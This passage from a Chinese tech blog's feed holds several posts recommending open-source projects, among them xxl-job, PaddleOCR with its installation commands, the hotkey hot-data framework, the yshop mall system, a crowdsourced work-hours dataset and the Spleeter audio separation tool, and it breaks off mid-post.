id="1-运行报表(首页)"><a href="#1-运行报表(首页)" class="headerlink" title="1.运行报表(首页)"></a>1.运行报表(首页)</h3><p>在首页可以查看任务的总体情况,包括任务个数,总调度次数等等。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172116765.png"></p><h3 id="2-任务管理"><a href="#2-任务管理" class="headerlink" title="2.任务管理"></a>2.任务管理</h3><p>对所有定时任务进行一个统一管理,定时任务是依赖于执行器的,一个执行器包含多个定时任务</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172157750.png"></p><h3 id="3-调度日志"><a href="#3-调度日志" class="headerlink" title="3.调度日志"></a>3.调度日志</h3><p>查看定时任务的执行情况,包含成功失败等情况,失败的可以查看失败原因</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929174239212.png"></p><h3 id="4-执行器管理"><a href="#4-执行器管理" class="headerlink" title="4.执行器管理"></a>4.执行器管理</h3><p>管理执行器,可以类比微服务中,服务注册中心对于注册到该中心的微服务的管理</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172432048.png"></p><h3 id="5-用户管理"><a href="#5-用户管理" class="headerlink" title="5.用户管理"></a>5.用户管理</h3><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172446395.png"></p><h2 id="五、系统架构"><a href="#五、系统架构" class="headerlink" title="五、系统架构"></a>五、系统架构</h2><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172551048.png"></p><ul><li>该系统主要分为调度中心和执行器两部分,主要采用了微服务中的服务注册管理的思想</li><li>执行器包含了任务线程,任务信息等</li><li>调度中心则主要是对所有任务的统一调度管理,类似服务注册中心对于微服务的管理</li></ul><p>该系统和微服务中的服务注册中心的思想非常类似,<strong>几个关键组件的关系</strong>如下图所示:</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928173424813.png"></p><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><p>目前已有多家公司接入xxl-job,包括比较知名的大众点评,京东,优信二手车,北京尚德,360金融 (360),联想集团 (联想),易信 (网易)等等….</p><p>而我们公司在最近也接入了该项目,确实解决了之前定时任务使用的一些痛点,而且效果也很乐观,所以如果你也在寻找分布式任务调度系统的话,这个框架可以是一个不错的选择,感兴趣的同学可以去了解下。</p><p>关注公众号【开源小分队】,后台回复「xxl」即可获得开源项目的相关信息哦~</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>免费的OCR识别工具就是香!</title>
<link href="/blog/2021/10/28/paddleocr/"/>
<url>/blog/2021/10/28/paddleocr/</url>
<content type="html"><![CDATA[<p>哈喽,大家好,我是爱撸码的开源大叔!</p><p>经常在网上查询文档资料的朋友一定有过这样的经历:好不容易找到了需要的内容,可是别说下载了,连复制一句话都不给复制的。尤其是 PDF 文档和图片类资料,就算我们充值下载到本地,很多也无法复制文本,只能手动敲出来。</p><p><img src="https://server.xmyeditor.com/picture/25/b10351dc605f63cc6a6a328e0775f775.jpg"></p><p>项目中有些场景也需要图片识别,比如识别证件、证照等等。</p><p>下面分享一款电脑端的 OCR 文字识别软件——<strong>「PaddleOCR」</strong>,可以帮助我们解决这一问题。</p><p>PaddleOCR旨在打造一套丰富、领先、且实用的OCR工具库,助力使用者训练出更好的模型,并应用落地。</p><h3 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h3><ul><li>丰富易用的OCR相关工具组件<ul><li>半自动数据标注工具PPOCRLabel:支持快速高效的数据标注</li><li>数据合成工具Style-Text:批量合成大量与目标场景类似的图像</li></ul></li><li>支持用户自定义训练,提供丰富的预测推理部署方案</li><li>支持PIP快速安装使用</li><li>可运行于Linux、Windows、MacOS等多种系统</li><li>支持多语言OCR模型</li><li>支持中英文数字组合识别、竖排文本识别、长文本识别</li></ul><h3 id="效果展示"><a href="#效果展示" class="headerlink" title="效果展示"></a>效果展示</h3><p><img src="https://pic3.zhimg.com/80/v2-994aa157a2f2622b9ba8a7ac0dc08f67_720w.png"></p><p><img src="https://pic3.zhimg.com/80/v2-6e90f145c99ed10711beb6eee61ddab9_720w.png"></p><p>不需要安装任何工具,可以直接在pc端进行图片识别,喜欢python的同学,可以按照下面的安装教程部署。</p><p><img src="https://pica.zhimg.com/80/v2-c2b78b8925aeec9652b65423bd79b2e4_720w.png"></p><h3 id="模型列表"><a href="#模型列表" class="headerlink" title="模型列表"></a>模型列表</h3><table><thead><tr><th>模型简介</th><th>模型名称</th><th>推荐场景</th><th>检测模型</th><th>方向分类器</th><th>识别模型</th></tr></thead><tbody><tr><td>中英文超轻量OCR模型(9.4M)</td><td>ch_ppocr_mobile_v2.0_xx</td><td>移动端&amp;服务器端</td><td>推理模型/ 预训练模型]</td><td>推理模型 / 预训练模型</td><td>推理模型/ 预训练模型</td></tr><tr><td>中英文通用OCR模型(143.4M)</td><td>ch_ppocr_server_v2.0_xx</td><td>服务器端</td><td>推理模型/ 预训练模型</td><td>推理模型/ 预训练模型</td><td>推理模型 / 预训练模型</td></tr></tbody></table><p>还有更多模型,这里不全列举了,感兴趣同学可以去官网阅读学习。</p><h3 id="通用中英文OCR数据集"><a href="#通用中英文OCR数据集" class="headerlink" title="通用中英文OCR数据集"></a>通用中英文OCR数据集</h3><ul><li>ICDAR2019-LSVT</li><li>ICDAR2017-RCTW-17</li><li>中文街景文字识别</li><li>中文文档文字识别</li><li>ICDAR2019-ArT</li></ul><h3 id="PP-OCR-Pipeline"><a href="#PP-OCR-Pipeline" class="headerlink" title="PP-OCR Pipeline"></a>PP-OCR Pipeline</h3><p>PP-OCR是一个实用的超轻量OCR系统。主要由DB文本检测[2]、检测框矫正和CRNN文本识别三部分组成[7]。该系统从骨干网络选择和调整、预测头部的设计、数据增强、学习率变换策略、正则化参数选择、预训练模型使用以及模型自动裁剪量化8个方面,采用19个有效策略,对各个模块的模型进行效果调优和瘦身,最终得到整体大小为3.5M的超轻量中英文OCR和2.8M的英文数字OCR。</p><h3 id="安装教程"><a href="#安装教程" class="headerlink" title="安装教程"></a>安装教程</h3><p>1、安装python3</p><pre class=" language-ruby"><code class="language-ruby"><span class="token comment" spellcheck="true">#下载软件包</span>wget https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>www<span class="token punctuation">.</span>python<span class="token punctuation">.</span>org<span class="token operator">/</span>ftp<span class="token operator">/</span>python<span class="token operator">/</span><span class="token number">3.6</span><span class="token punctuation">.</span><span class="token number">8</span><span class="token operator">/</span><span class="token constant">Python</span><span class="token operator">-</span><span class="token number">3.6</span><span class="token punctuation">.</span><span class="token number">8</span><span class="token punctuation">.</span>tgz<span class="token comment" spellcheck="true">#解压</span>tar <span class="token operator">-</span>zxvf <span class="token constant">Python</span><span class="token operator">-</span><span class="token number">3.6</span><span class="token punctuation">.</span><span class="token number">8</span><span class="token punctuation">.</span>tgzcd <span class="token constant">Python</span><span class="token operator">-</span><span class="token number">3.6</span><span class="token punctuation">.</span><span class="token number">8</span><span class="token comment" spellcheck="true">#编译</span><span class="token punctuation">.</span><span class="token operator">/</span>configure<span class="token comment" spellcheck="true">#安装</span>make make install<span class="token comment" spellcheck="true">#创建软连接</span>ln <span class="token operator">-</span>s <span class="token operator">/</span>usr<span class="token operator">/</span>local<span class="token operator">/</span>python3<span class="token operator">/</span>bin<span class="token operator">/</span>python3 <span class="token operator">/</span>usr<span class="token operator">/</span>bin<span class="token operator">/</span>python3<span class="token comment" spellcheck="true">#查看版本</span>python3 <span class="token operator">-</span><span class="token constant">V</span></code></pre><p>在安装过程中如果出现configure: error: no acceptable C compiler found in $PATH,是缺少合适的编译器</p><pre><code>sudo yum install gcc-c++</code></pre><p>出现这个问题zipimport.ZipImportError: can’t decompress data; zlib not available,缺少依赖包</p><pre class=" language-python"><code class="language-python">yum <span class="token operator">-</span>y install zlib<span class="token operator">*</span></code></pre><p>2、安装PaddlePaddle2.0</p><pre><code>pip3 install --upgrade pippython3 -m pip install paddlepaddle==2.0.0 -i https://mirror.baidu.com/pypi/simple</code></pre><p>3、克隆代码</p><pre><code>git clone https://gitee.com/paddlepaddle/PaddleOCR</code></pre><p>4、安装PaddleOCR 第三方依赖包</p><pre><code>cd PaddleOCR#安装第三方依赖项pip3 install -r requirements.txt</code></pre><p>5、模型下载</p><pre><code>mkdir inference &amp;&amp; cd inference# 下载检测模型并解压wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_det_infer.tar&amp;&amp; tar xf ch_ppocr_mobile_v2.0_det_infer.tar# 下载方向分类器模型并解压wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_cls_infer.tar &amp;&amp; tar xf ch_ppocr_mobile_v2.0_cls_infer.tar#下载文本方向分类器病解压wget https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_rec_infer.tar &amp;&amp; tar xf ch_ppocr_mobile_v2.0_rec_infer.tar</code></pre><p>6、识别图片</p><pre><code>#识别单张图片python3 tools/infer/predict_system.py --image_dir=&quot;992822f810dc3cbbdcca711a1c4b0097.jpg&quot; --det_model_dir=&quot;./inference/ch_ppocr_mobile_v2.0_det_infer/&quot; --rec_model_dir=&quot;./inference/ch_ppocr_mobile_v2.0_rec_infer/&quot; --cls_model_dir=&quot;./inference/ch_ppocr_mobile_v2.0_cls_infer/&quot; --use_angle_cls=True --use_space_char=Trueimage_dir:源文件目录 det_model_dir:识别后存放的文件目录</code></pre><p>如果报错ModuleNotFoundError: No module named ‘cv2’,缺少cv2</p><pre class=" language-bash"><code class="language-bash"><span class="token comment" spellcheck="true"># 安装pip3</span><span class="token function">wget</span> https://pypi.python.org/packages/source/p/pip/pip-18.1.tar.gz<span class="token comment" spellcheck="true"># 解压</span><span class="token function">tar</span> -zxvf pip-18.1.tar.gz <span class="token comment" spellcheck="true"># 安装</span><span class="token function">cd</span> pip-18.1python3 setup.py buildpython3 setup.py <span class="token function">install</span><span class="token comment" spellcheck="true"># 添加到软连接</span><span class="token function">ln</span> -s /usr/local/python3/bin/pip3 /usr/bin/pip3pip <span class="token function">install</span> opencv-python</code></pre><p>如果出现pip is configured with locations that require TLS/SSL, however the..不可用的解决方法</p><pre><code>yum install openssl-devel -ycd Python-3.6.8./configure --with-sslmakesudo make install</code></pre><p>在识别图像时候报错的一些解决方案</p><pre><code>#深度学习pip install paddlepaddle -i https://pypi.tuna.tsinghua.edu.cn/simple# ModuleNotFoundError: No module named &#39;PIL&#39;pip install pillow# MODULENOTFOUNDERROR: NO MODULE NAMED &#39;PADDLE&#39;pip install paddlehub==1.6.0 -i https://pypi.tuna.tsinghua.edu.cn/simple#No module named &#39;imgaug&#39;pip install git+https://github.com/aleju/imgaug</code></pre><p>ps:Paddle-OCR也可以部署在Windows系统中。</p><pre><code>pip3 install --upgrade pippython3 -m pip install paddlepaddle==2.0.0 -i https://mirror.baidu.com/pypi/simplegit clone https://github.com/PaddlePaddle/PaddleOCR#在PaddleOCR目录下pip3 install -r requirements.txt</code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Paddle-OCR 属于Paddle 框架其中的一个应用,提供了很多好玩的模型,支持多种语言的数据集,关键是提供了轻量级模型,降低了使用难度。</p><p>听了大叔的介绍,各位小伙伴有没有心动?心动不如行动,赶紧去公众号后台回复「<strong>OCR</strong>」,获取开源项目的地址吧~~~</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>大厂热数据探测开源项目不能错过!</title>
<link href="/blog/2021/10/24/hotkey/"/>
<url>/blog/2021/10/24/hotkey/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>双十一时候,各大电商的流量都是很大的,过年时候火车票也都是秒光,这些流量是可以提前预测的,可以提前加服务器,还有些流量无法提前预测,像微就博承受了太多压力,饭圈突然就来一个热点新闻,比如xxx pc被抓、xxx宣布离婚、xxx公布恋情。。。大家都懂的</p><p><img src="https://server.xmyeditor.com/picture/19/786e6392337e3229ba358f3c1d29b4c6.jpg"></p><p>互联网会有突发性无法预先感知的热点数据,大量请求同一个商品、恶意爬虫、海量请求同一个接口,大量的请求进来,我们需要考虑的点就很多了,<strong>缓存雪崩</strong>,<strong>缓存击穿</strong>,<strong>缓存穿透</strong>这些都是有可能发生的,甚至DB挂了,那就很难受了,最后背锅的还是<strong>开发</strong>。</p><p>今天大叔推荐的hotkey就可以解决这个问题。APP后台热数据探测框架,对任意突发性的无法预先感知的热点数据,推送到所有服务端JVM内存中,以大幅减轻对后端数据存储层的冲击,并可以由使用者决定如何分配、使用这些热key(譬如对热商品做本地缓存、对热用户进行拒绝访问、对热接口进行熔断或返回默认值)。这些热数据在整个服务端集群内保持一致性,并且业务隔离,worker端性能强悍。</p><h3 id="系统架构"><a href="#系统架构" class="headerlink" title="系统架构"></a>系统架构</h3><p><img src="https://images.gitee.com/uploads/images/2020/0616/105737_e5b876cd_303698.png"></p><p><strong>1、etcd集群</strong></p><p>etcd作为一个高性能的配置中心,可以以极小的资源占用,提供高效的监听订阅服务。主要用于存放规则配置,各worker的ip地址,以及探测出的热key、手工添加的热key等。</p><p><strong>2、client端jar包</strong></p><p>就是在服务中添加的引用jar,引入后,就可以以便捷的方式去判断某key是否热key。同时,该jar完成了key上报、监听etcd里的rule变化、worker信息变化、热key变化,对热key进行本地caffeine缓存等。</p><p><strong>3、worker端集群</strong></p><p>worker端是一个独立部署的Java程序,启动后会连接etcd,并定期上报自己的ip信息,供client端获取地址并进行长连接。之后,主要就是对各个client发来的待测key进行累加计算,当达到etcd里设定的rule阈值后,将热key推送到各个client。</p><p><strong>4、dashboard控制台</strong></p><p>控制台是一个带可视化界面的Java程序,也是连接到etcd,之后在控制台设置各个APP的key规则,譬如2秒出现20次算热key。然后当worker探测出来热key后,会将key发往etcd,dashboard也会监听热key信息,进行入库保存记录。同时,dashboard也可以手工添加、删除热key,供各个client端监听。</p><h3 id="适用场景"><a href="#适用场景" class="headerlink" title="适用场景"></a>适用场景</h3><ul><li>mysql热数据本地缓存</li><li>redis热数据本地缓存</li><li>黑名单用户本地缓存</li><li>爬虫用户限流 接口、用户维度限流</li><li>单机接口、用户维度限流</li><li>集群用户维度限流</li><li>集群接口维度限流</li></ul><h3 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h3><p>1、搭建搭建etcd集群</p><p>可以理解成微服务中注册中心</p><p>2、启动dashboard配置规则</p><p><img src="https://images.gitee.com/uploads/images/2020/0622/175255_e1b05b4c_303698.png"></p><p>3、启动worker集群</p><p>worker与client进行长连接,计算各个client发来的key,当某key达到规则里设定的阈值后,将其推送到该APP全部client。</p><p>4、启动client端</p><p>client与worker建立长连接,定时把待测key到对应的worker。当worker探测出来热key后,会推送回来,client里提供了方法,根据业务做相应的处理,比如限流、降级访问的部分接口等等。</p><h3 id="性能表现"><a href="#性能表现" class="headerlink" title="性能表现"></a>性能表现</h3><p>每10秒打印一行,totalDealCount代表处理过的key总量,可以看到每10秒处理量在270万-310万之间,对应每秒30万左右QPS。</p><p><img src="https://images.gitee.com/uploads/images/2020/0611/152336_78597937_303698.png"></p><p><img src="https://images.gitee.com/uploads/images/2020/0611/152249_4ac01178_303698.png"></p><p>经历了多次大促压测演练以及618大促、双11大促,表现相当稳定。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>大叔总结一下,这个项目的工作原理,client和worker都会注册到etcd集群中,在dashboard控制台中配置规则,client定时把key上报给worker集群,worker计算client发来的key,当达到系统设置的阈值,worker把key推送给全部的client,client做相应的业务处理。</p><p>听了大叔的介绍,各位小伙伴有没有心动?心动不如行动,赶紧去公众号后台回复「<strong>hotkey</strong>」,获取开源项目的地址吧~~~</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>绝了,一个springboot+vue商城,完美解决外包项目</title>
<link href="/blog/2021/10/20/yshop-yi-xiang-shang-cheng-xi-tong/"/>
<url>/blog/2021/10/20/yshop-yi-xiang-shang-cheng-xi-tong/</url>
<content type="html"><![CDATA[<p><img src="https://mmbiz.qpic.cn/mmbiz_gif/Tk2JNicusBX7vwHpNW5EYLgrWZ6Z8Y2iapIA3DSocuHkwKqdBMF0pjkf75MomcD5m1Mcp1a7evNHM9jJ7YASdaPQ/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1" alt="图片"></p><p>将开源小分队设为星标 精品文章第一时间读</p><p>哈喽,大家好,我是爱撸码的开源大叔!</p><p>大叔今天摸鱼的时候,发现一个不错的开源项目,它是一个前后端分离的商城系统,现在star是4.3k,fork1.9k。</p><p>这个项目用到了SpringBoot+SpringSecurity+MySQL+redis+mybatis+Nginx+Vue+docker这些技术点,非常适合于自学研究、练手模仿以及知识应用。</p><h3 id="面向对象"><a href="#面向对象" class="headerlink" title="面向对象"></a>面向对象</h3><ul><li>企业在创立初期很好的技术基础框架,加快公司项目开发进度,当然也可以对现有的系统进行优化升级;</li><li>个人开发者也可以使用该程序承接外包项目;</li><li>初学JAVA的同学可以下载源代码来进行学习交流;</li></ul><h3 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h3><p>基于当前流行技术组合的前后端分离商城系统: SpringBoot、Spring Cloud Alibaba、Spring Security OAuth2、MybatisPlus、SpringSecurity、jwt、redis、Vue的前后端分离的商城系统, 包含积分兑换、运费模板、图片素材库、订单管理、多规格sku、积分、物流、拼团、砍价、商户订单管理、秒杀、优惠券、分销、会员、充值、多门店核、微信公众号模板消息、微信菜单、微信图文群发、微信小程序直播等功能。</p><h3 id="技术选型"><a href="#技术选型" class="headerlink" title="技术选型"></a>技术选型</h3><ul><li>核心框架:SpringBoot2、Spring Cloud Alibaba</li><li> 安全框架:Spring Security、Jwt、Spring Security OAuth2</li><li>持久层框架:Mybatis、MyBatis-plus</li><li>微信开发: Java SDK:WxJava</li><li> 数据库:mysql5.7+</li><li> 前端框架:Vue2、Element-UI、vue-element-admin</li></ul><h3 id="功能模块"><a href="#功能模块" class="headerlink" title="功能模块"></a>功能模块</h3><p><img src="https://pica.zhimg.com/80/v2-77892695c1cbc997f7cc2967f9d092b5_720w.jpeg"></p><h3 id="项目结构"><a href="#项目结构" class="headerlink" title="项目结构"></a>项目结构</h3><p>项目采用分模块开发方式</p><ul><li><p>yshop-admin 后台模块</p></li><li><p>yshop-common 公共模块</p></li><li><p>yshop-generator 代码生成模块</p></li><li><p>yshop-logging 日志模块</p></li><li><p>yshop-mproot mybatisPlus</p></li><li><p>yshop-shop 商城模块</p></li><li><p>yshop-tools 第三方工具模块</p></li><li><p>yshop-weixin 微信相关模块</p></li></ul><p>在企业中应用,可以把不同模块部署在不同的服务器上。</p><h3 id="页面效果"><a href="#页面效果" class="headerlink" title="页面效果"></a>页面效果</h3><p>管理后台</p><p><img src="https://pic3.zhimg.com/80/v2-c54d757343c4023cbba916b074f8e5b1_720w.png"></p><p><img src="https://pic2.zhimg.com/80/v2-7b59581a3966826cdd084004477085c6_720w.png"></p><p>小程序</p><p><img src="https://pic3.zhimg.com/80/v2-4f9fe7a40fcb5f901189ddeb27e81b4c_720w.png"></p><p><img src="C:\Users\zouyo\AppData\Roaming\Typora\typora-user-images\image-20211021094053962.png" alt="image-20211021094053962"></p><h3 id="项目特性"><a href="#项目特性" class="headerlink" title="项目特性"></a>项目特性</h3><ul><li>支持docker部署</li><li>遵循 RESTful API 设计规范</li><li>JWT 认证</li><li>集成微信支付、支付宝支付</li><li>代码生成</li><li>支持 Swagger 文档</li><li>支持七牛云存储</li></ul><p>另外还可以在后台中对页面布局进行修改,不用麻烦前端小姐姐。</p><p><img src="https://pic3.zhimg.com/80/v2-5171186d023d6098b0395adda0d73663_720w.png"></p><h3 id="项目部署"><a href="#项目部署" class="headerlink" title="项目部署"></a>项目部署</h3><p>1、克隆前后端代码</p><p>2、安装nodejs</p><p>3、导入数据库</p><p>4、修改admin模块下application-dev文件中Redis、MySQL等配置</p><p>5、启动前端项目cnpm install或者yarn install,然后再执行npm run dev</p><p>听到大叔的介绍,你是不是也有点心动了呢?那就赶紧去公众号后台回复<strong>「商城」</strong>,获取开源项目的地址吧~~~</p><p>问君能有几多愁,开源项目解千愁,咱们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔和小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>996.icu只是听说过?这个项目让你亲眼见证,非常壮观!</title>
<link href="/blog/2021/10/14/996.icu-zhi-shi-ting-shuo-guo-zhe-ge-xiang-mu-rang-ni-qin-yan-jian-zheng-fei-chang-zhuang-guan/"/>
<url>/blog/2021/10/14/996.icu-zhi-shi-ting-shuo-guo-zhe-ge-xiang-mu-rang-ni-qin-yan-jian-zheng-fei-chang-zhuang-guan/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>大家对目前的工作作息时间都还满意吗?</p><p>可能会有很多同学在入职公司之前没有太多的渠道途径确定公司的具体工作时间,想想当初如果有的话,会不会是另外一番景象。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%87%E5%BC%80%E5%A4%B4.jpg"></p><p>不过现在的同学有福了,最近github上有个项目为了解决大家的这个痛点,发起了一个<code>WorkingTime</code>的项目。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%871.jpg"></p><p>该项目依托于全国各地同学们的奉献,致力于统计各大公司的作息时间,尽力为大家提供准确的参考。</p><p>目前已经有2k+条的公司作息等数据,并且数据在一直快速增长。大家热情都非常高啊~~~</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E7%83%AD%E6%83%85%E5%9B%BE.jpg"></p><p>公司主要以阿里、腾讯、字节、京东、华为、拼多多、快手、美团、滴滴等互联网大厂为主。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/111.jpg"></p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/222.jpg"><br>也有一些外企、政府部门、国企、医院,传统的银行、证券、制造业公司也是有的。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%878-3-6.jpg"></p><p>统计的信息<strong>包括上班、下班时间、午饭时间、晚饭时间、周三是否特殊 周五是否特殊、一周工作天数、新人是否日报/周报以及自由发挥的备注。</strong></p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%8710.jpg"></p><p>图片10</p><p>尤其是这个备注,非常有意思,</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%879.jpg"></p><blockquote><p>有说非常卷,非常累劝退的,也有说经常可以摸鱼(羡慕啊~~~)</p></blockquote><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%877.jpg"></p><blockquote><p>有说食堂难吃的,有说要警惕XXX,有让新人打杂半年的传统<br>还有说暗号的,懂的都懂~~~ 老司机的我怎么还是不懂~~~汗</p></blockquote><p>有这些信息在手,要考虑那个啥是不是太太方便了。</p><p><strong>原来只是听说过996.icu,小范围实践过,这个项目就真的是让你亲眼见证整个国家的工作现状,非常壮观!</strong></p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%8712.jpg"></p><p>你可以在项目主页上进行实时数据的查看,也可以下载每日凌晨作者整理数据的总表以及每日的备份excel表。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img/%E5%9B%BE%E7%89%8711.jpg"></p><p>当然啦,如果你也让大家都知道你们公司的一些趣事的话,不妨可以点击“填写问卷匿名发布自己部门的作息时间”的链接,把你想传递的信息共享出去。</p><p>相互共享,相互成就,真的可以说是众人拾柴火焰高。</p><p>短短几天时间已经有2k+star,并在一直不断的快速增长当中。如果你感兴趣的话,关注公众号“开源小分队”,后台回复<br><strong>“作息”</strong> 获取项目地址关注一波哦~~~</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>这款开源神器将人声伴奏完美分离,厉害了!</title>
<link href="/blog/2021/10/12/zhe-kuan-kai-yuan-shen-qi-jiang-ren-sheng-ban-zou-wan-mei-fen-chi-li-hai-liao/"/>
<url>/blog/2021/10/12/zhe-kuan-kai-yuan-shen-qi-jiang-ren-sheng-ban-zou-wan-mei-fen-chi-li-hai-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>在剪辑视频的过程中,你是否遇到过这样的困难:想使用原视频中单独的一段人声,但原视频所带有的背景音乐又会大大降低视听效果。</p><p>而要将<code>人声和伴奏分离</code>,这个显然不是一件容易的事。</p><p>今天就给大家推荐 Github 上一款开源工具,非常的强大,是大叔目前见到的做得最好的<strong>音频分离软件</strong>了,用来<strong>提取伴奏和人声效果</strong>特别好。借助这个工具,我们普通人就可以实现一键快速将人声和伴奏分离。</p><p>伙伴们可以先试听一下,这个是准备需要分离的音乐《千里之外》的片段</p><iframe frameborder="0" src="https://v.qq.com/txp/iframe/player.html?vid=l3310xr8lr7" allowFullScreen="true"></iframe><p>这个是分离后提取的人声</p><iframe frameborder="0" src="https://v.qq.com/txp/iframe/player.html?vid=e3310uzsr3c" allowFullScreen="true"></iframe><p>提取的背景音</p><iframe frameborder="0" src="https://v.qq.com/txp/iframe/player.html?vid=u3310bcxmci" allowFullScreen="true"></iframe><p>怎么样,是不是效果非常的棒?</p><p>下面来详细介绍一下这个工具 - <strong>Spleeter</strong></p><h2 id="Spleeter-是什么"><a href="#Spleeter-是什么" class="headerlink" title="Spleeter 是什么"></a>Spleeter 是什么</h2><p>这是来自法国的音乐流媒体公司 Deezer 开源的一个音轨分离软件 spleeter,只需输入一段命令就可以将音乐的人声和各种乐器声分离,支持 mp3、wav、ogg 等常见音频格式。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/logo.jpg"></p><p>该项目由 Python 作为主要语言编写,并且使用了 TensorFlow 来进行模型训练。</p><p>诸如知名的专业处理音频软件 iZotope、SpectralLayers、Acon Digital、VirtualDJ、Algoriddim 等使用的就是 spleeter 的训练模型,足足可见该项目的分量。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%87.png"></p><p>有网友说自己曾经试过无数类似软件,spleeter 是最好用的一个。</p><p>因为用 python 编写的,故 windows/linux/macOS 等多平台理论上都是可以使用的。</p><p>但是在本地完全安装好软件、各种 python 库、依赖等等,也需要花费一些时间,后续有时间会分享一下在本地安装配置的方法过程。</p><p>这里大叔推荐使用下面的两个方法,可以快速的上手体验。</p><h3 id="方法1:安装-spleeterGUI-图形界面软件"><a href="#方法1:安装-spleeterGUI-图形界面软件" class="headerlink" title="方法1:安装 spleeterGUI 图形界面软件"></a>方法1:安装 spleeterGUI 图形界面软件</h3><p>spleeterGUI 是网上 Chris 大神基于 spleeter 这个项目,进行深入开发的适用于 windows 平台的图形化界面软件。<strong>(下载地址见文末)</strong></p><p>软件直接下载下来安装就可以使用,界面简洁明了,非常的友好。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%876.jpg"></p><p>软件下载下来,一路点击下一步即可,没什么好说的。</p><p>打开软件,界面如下,如果不习惯英文也可切换为中文(其实也无所谓了,就那么几个单词而已)。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%877.jpg"></p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%878.jpg"></p><p>选择 parts to separate(分离声部,一般就是2),设置好文件保存路径(save to),选择需要分离的音频文件(或者直接将文件拖入进去,支持多个音频文件),即可快速导出!</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%879.jpg"></p><p>完成之后,每个音频都会导出到单独一个文件夹内,里面有两个无损格式音频文件;</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%8710.jpg"></p><p>accompaniment.wav为伴奏,vocals.wav为人声</p><h3 id="方法2:在线使用-Google-Colab"><a href="#方法2:在线使用-Google-Colab" class="headerlink" title="方法2:在线使用 Google Colab"></a>方法2:在线使用 Google Colab</h3><p>这个是官方给出的方法。如果你有科学上网的梯子和谷歌账号,那么这个可以直接在线使用。<strong>(在线地址见文末)</strong></p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%871.jpg"></p><p>这里预先写好了项目的整个代码,点击“代码执行程序”-“全部运行”,将所有的代码都运行一下。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%872.jpg"></p><p>稍等片刻,程序会自动运行,安装各种依赖、库文件,并将一个预设的audio_example.mp3 音频文件进行人声、伴奏分离。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%873.jpg"></p><p>如果我们要分离自己的音频文件,比如我准备了一个叫ppxhn.mp3的文件,点击左边的上传按钮即可将文件上传到云端。</p><p><img 